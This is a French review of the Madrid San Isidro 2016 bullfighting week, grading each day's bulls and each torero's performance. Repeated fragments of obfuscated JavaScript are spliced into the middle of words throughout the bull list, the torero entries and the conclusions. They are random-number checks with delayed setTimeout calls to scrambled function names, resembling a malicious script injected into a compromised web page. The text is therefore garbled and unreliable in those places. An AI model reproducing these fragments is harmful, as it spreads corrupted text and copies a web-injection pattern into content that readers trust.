MADRID SAN ISIDRO 2016. DU 16 AU 22 MAI

Les toros (par ordre de comparution) : Lundi 16 : Six novillos de El Montecillo, bien présentés (une corrida de toros d’il y a trente ans), mansos, avec du genio et beaucoup de danger. Mardi 17 : Six toros de Pedraza de Yeltes, grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands comme des armoires, très mansos et très nobles, sauf le troisième, brave, bas et profond, bien présenté, astifino et protesté car il n’avait pas les cornes suffisamment longues. Mercredi 18 : cinq toros de Fuente Ymbro, mansos, inégaux de morphologie, et un de Buenavista, noble.  Jeudi 19 : cinq toros du Puerto de San Lorenzo, braves, nobles et avec de la classe. Un de Valdefresno, 4ème, manso et avec beaucoup de danger. Le 6ème, très brave. Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande corrida malchanceuse.  Vendredi 20 : six toros de Alcurrucén, bien présentés, inégaux de morphologie, mansos et sans relief.  Samedi 21 : six toros de El Capea (fers de El Capea, Carmen Lorenzo et Carmen Pelayo), braves, avec du brio et de la classe, bien présentés.  Dimanche 22 : quatre toros de Las Ramblas, corrects de comportement, un de Julio Puerta, brave, et un autre de Buenavista, brave.

Conclusions : trop de toros mansos : les novillos de Montecillo, mansos avec du genio ; ceux de Pedraza, mansos et nobles, sauf le 2ème, brave ; ceux de Fuente Ymbro, mansos, les uns avec du genio, les autres décastés ; ceux d’Alcurrucen, mansos et fades. Heureusement que ceux du Puerto de San Lorenzo eurent de la bravoure et de la classe, tout comme la corrida pour le cheval de El Capea qui fut brave et avec de la race. Et à mi-chemin se situent ceux de las Ramblas, qui furent corrects sans plus. Mauvais bilan au niveau élevage.

Les toreros (par ordre de comparution)

Filiberto (novillero) : très capable et très vaillant face à un toro agressif et dangereux. Il se coupa la main avec l’épée à la mise à mort et ne put affronter son second novillo.

Juan de Castilla (novillero) : très sincère, avec du courage et très adroit il affronta quatre novillos compliqués. Il coupa une oreille.

Luis David Adame (novillero) : au style et au courage admirables, il a les allures d’un torero et un don pour la tauromachie, il deviendra figura si les toros le respectent.

Juan Leal (confirmation d’alternative) : devant deux toros absolument fades, il n’a rien dit.

Manuel Escribano : persistant et vulgaire face à deux toros sans relief, il est passé inaperçu.

Juan del Alamo : il a coupé l’oreille du seul toro brave de Pedraza de Yeltes pour son bon toreo de la main droite. S’il lui avait donné plus de sitio et plus d’espace avec la gauche il en aurait coupé deux.

Diego Urdiales : de bonnes naturelles et des passes en rondeur avec celui de « Buenavista ». Il prolongea en excès la faena, le toro se défendit et il perdit l’oreille. Avec celui de Fuente Ymbro, rabâcheur et sans possibilités de le toréer.

Miguel Angel Perera : il a laissé ses toros et ils ne le lui ont pas pardonné ; il a lié des passes à des toros qui ne le voulaient pas, qui protestaient ; ce sont les inquisiteurs qui ont chargé et non les cornus.

Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante : toujours au-dessus des circonstances, il laissa son second manso se réfugier dans les torils. Là il s’imposa à lui avec éclat. Il coupa une oreille fortement sollicitée.

Enrique Ponce : vaillance, élégance et maestria. En somme, une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andissime figura de la tauromachie.

Daniel Luque : il a été très au-dessus du pire lot de la course. Magistral à la cape.

Roman : il n’a pas eu de chance : son premier était noble et il se cassa la patte et son second était trop brave et il a été trop peu châtié au cheval. S’il l’avait bien tué il aurait été récompensé d’une oreille.

El Juli : avec les intransigeants contre lui et deux toros nuls, on ne sut apprécier sa prestation.

Sébastien Castella : très à l’aise devant deux toros compliqués, il toréa avec beaucoup de temple. Mais comme les intransigeants l’ont sifflé, la majorité s’est inhibée.

José Garrido : vaillant et généreux, il s’est retrouvé devant deux toros très difficiles.

Sergio Galán (rejoneador) : correct et prévisible. On l’a respecté et il n’a pas ému. Bonne note avec « Apolo », un cheval d’une élégance extraordinaire.

Diego Ventura (rejoneador) : plus puissant qu’artiste, plus spectaculaire que pur dans l’exécution, il se distingua dans la lidia. Mais les gens ne l’ont pas apprécié. Dans le toreo à cheval ce n’est pas le mérite qui compte mais les résultats et tuer du premier coup, même s’il s’agit d’un « bajonazo ».

Leonardo Hernández (rejoneador) : cavalier exceptionnel et torero vaillant, sa lidia est vibrante et il réalise les suertes avec une émotion et un engagement effarants. Son toreo sur les distances courtes est palpitant. Il coupa 4 oreilles.

Manuel Cid, « El Cid » : volontaire et correct, il fut aussi quelconque.

Paco Ureña : il a toréé diminué, non rétabli de son coup de corne à Vic-Fezensac. Il fit de belles passes de muleta à ses deux toros, il fut attrapé mais sans séquelles, il se livra à la mise à mort et coupa une oreille.

Conclusions : Est-il arrivé des choses notoires cette semaine? À une autre époque, avec une meilleure aficion, nous aurions répondu affirmativement. Par exemple, on a découvert un novillero avec des atouts pour devenir figura : Luis David Adame. Et encore davantage : la réapparition d’Enrique Ponce a été brillantissime. Et encore : Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante a de nouveau ébloui avec une prestation où il a associé l’inspiration et la maestria, le courage et l’art. Et encore : toutes les figuras demeurent au même niveau, vu le manque d’engagement des toros. Et encore : un rejoneador, Leonardo Hernández a consolidé sa situation au premier rang. Et encore : Paco Ureña, tout en douceur et héroïque a clôturé la semaine avec un triomphe important. C’est le nouveau torero de Madrid.

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